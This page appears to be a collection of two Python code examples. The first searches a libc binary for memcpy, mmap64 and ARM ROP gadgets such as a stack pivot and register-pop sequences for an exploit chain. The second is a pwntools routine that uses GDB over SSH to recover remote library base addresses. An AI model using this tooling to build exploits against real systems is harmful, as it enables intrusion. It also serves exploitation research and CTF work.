Ejemplo n.º 1
0
def find_rop_gadgets(path):
    global memcpy
    global mmap64
    global stack_pivot
    global pop_pc
    global pop_r0_r3_r5_r6_pc
    global pop_r1_r2_r3_r4_pc
    global pop_r4_r5_r6_r7_pc

    global ldr_lr_bx_lr
    global ldr_lr_bx_lr_stack_pad

    e = elf.ELF(path)
    e.address = libc_base

    memcpy = e.symbols['memcpy']
    print '[*] memcpy : 0x{:08x}'.format(memcpy)
    mmap64 = e.symbols['mmap64']
    print '[*] mmap64 : 0x{:08x}'.format(mmap64)

    # .text:00013344    ADD             R2, R0, #0x4C
    # .text:00013348    LDMIA           R2, {R4-LR}
    # .text:0001334C    TEQ             SP, #0
    # .text:00013350    TEQNE           LR, #0
    # .text:00013354    BEQ             botch_0
    # .text:00013358    MOV             R0, R1
    # .text:0001335C    TEQ             R0, #0
    # .text:00013360    MOVEQ           R0, #1
    # .text:00013364    BX              LR

    pivot_asm = ''
    pivot_asm += 'add   r2, r0, #0x4c\n'
    pivot_asm += 'ldmia r2, {r4 - lr}\n'
    pivot_asm += 'teq   sp, #0\n'
    pivot_asm += 'teqne lr, #0'
    stack_pivot = find_arm_gadget(e, pivot_asm)
    print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

    pop_pc_asm = 'pop {pc}'
    pop_pc = find_gadget(e, pop_pc_asm)
    print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

    pop_r1_r2_r3_r4_pc = find_gadget(e, 'pop {r1, r2, r3, r4, pc}')
    print '[*] pop_r1_r2_r3_r4_pc : 0x{:08x}'.format(pop_r1_r2_r3_r4_pc)

    pop_r0_r3_r5_r6_pc = find_gadget(e, 'pop {r0, r3, r5, r6, pc}')
    print '[*] pop_r0_r3_r5_r6_pc : 0x{:08x}'.format(pop_r0_r3_r5_r6_pc)

    pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
    print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

    ldr_lr_bx_lr_stack_pad = 0
    for i in range(0, 0x100, 4):
        ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
        ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
        ldr_lr_bx_lr_asm += 'bx  lr'
        ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
        if ldr_lr_bx_lr is not None:
            ldr_lr_bx_lr_stack_pad = i
            break
Ejemplo n.º 2
0
def find_module_addresses(binary, ssh=None, ulimit=False):
    """
    Cheat to find modules by using GDB.

    We can't use ``/proc/$pid/map`` since some servers forbid it.
    This breaks ``info proc`` in GDB, but ``info sharedlibrary`` still works.
    Additionally, ``info sharedlibrary`` works on FreeBSD, which may not have
    procfs enabled or accessible.

    The output looks like this:

    ::

        info proc mapping
        process 13961
        warning: unable to open /proc file '/proc/13961/maps'

        info sharedlibrary
        From        To          Syms Read   Shared Object Library
        0xf7fdc820  0xf7ff505f  Yes (*)     /lib/ld-linux.so.2
        0xf7fbb650  0xf7fc79f8  Yes         /lib32/libpthread.so.0
        0xf7e26f10  0xf7f5b51c  Yes (*)     /lib32/libc.so.6
        (*): Shared library is missing debugging information.

    Note that the raw addresses provided by ``info sharedlibrary`` are actually
    the address of the ``.text`` segment, not the image base address.

    This routine automates the entire process of:

    1. Downloading the binaries from the remote server
    2. Scraping GDB for the information
    3. Loading each library into an ELF
    4. Fixing up the base address vs. the ``.text`` segment address

    Arguments:
        binary(str): Path to the binary on the remote server
        ssh(pwnlib.tubes.tube): SSH connection through which to load the libraries.
            If left as :const:`None`, will use a :class:`pwnlib.tubes.process.process`.
        ulimit(bool): Set to :const:`True` to run "ulimit -s unlimited" before GDB.

    Returns:
        A list of pwnlib.elf.ELF objects, with correct base addresses.

    Example:

    >>> with context.local(log_level=9999):
    ...     shell =  ssh(host='example.pwnme', user='******', password='******')
    ...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
    >>> os.path.basename(bash_libs[0].path)
    'libc.so.6'
    >>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP
    '0x7ffff7634660'
    """
    #
    # Download all of the remote libraries
    #
    if ssh:
        runner = ssh.run
        local_bin = ssh.download_file(binary)
        local_elf = elf.ELF(os.path.basename(binary))
        local_libs = ssh.libs(binary)

    else:
        runner = tubes.process.process
        local_elf = elf.ELF(binary)
        local_libs = local_elf.libs

    #
    # Get the addresses from GDB
    #
    libs = {}
    cmd = "gdb -q -nh --args %s | cat" % (
        binary)  # pipe through cat to disable colored output on GDB 9+
    expr = re.compile(r'(0x\S+)[^/]+(.*)')

    if ulimit:
        cmd = ['sh', '-c', "(ulimit -s unlimited; %s)" % cmd]
    else:
        cmd = ['sh', '-c', cmd]

    with runner(cmd) as gdb:
        if context.aslr:
            gdb.sendline('set disable-randomization off')

        gdb.send("""
        set prompt
        catch load
        run
        """)
        gdb.sendline('info sharedlibrary')
        lines = context._decode(gdb.recvrepeat(2))

        for line in lines.splitlines():
            m = expr.match(line)
            if m:
                libs[m.group(2)] = int(m.group(1), 16)
        gdb.sendline('kill')
        gdb.sendline('y')
        gdb.sendline('quit')

    #
    # Fix up all of the addresses against the .text address
    #
    rv = []

    for remote_path, text_address in sorted(libs.items()):
        # Match up the local copy to the remote path
        try:
            path = next(p for p in local_libs.keys() if remote_path in p)
        except StopIteration:
            print("Skipping %r" % remote_path)
            continue

        # Load it
        lib = elf.ELF(path)

        # Find its text segment
        text = lib.get_section_by_name('.text')

        # Fix the address
        lib.address = text_address - text.header.sh_addr
        rv.append(lib)

    return rv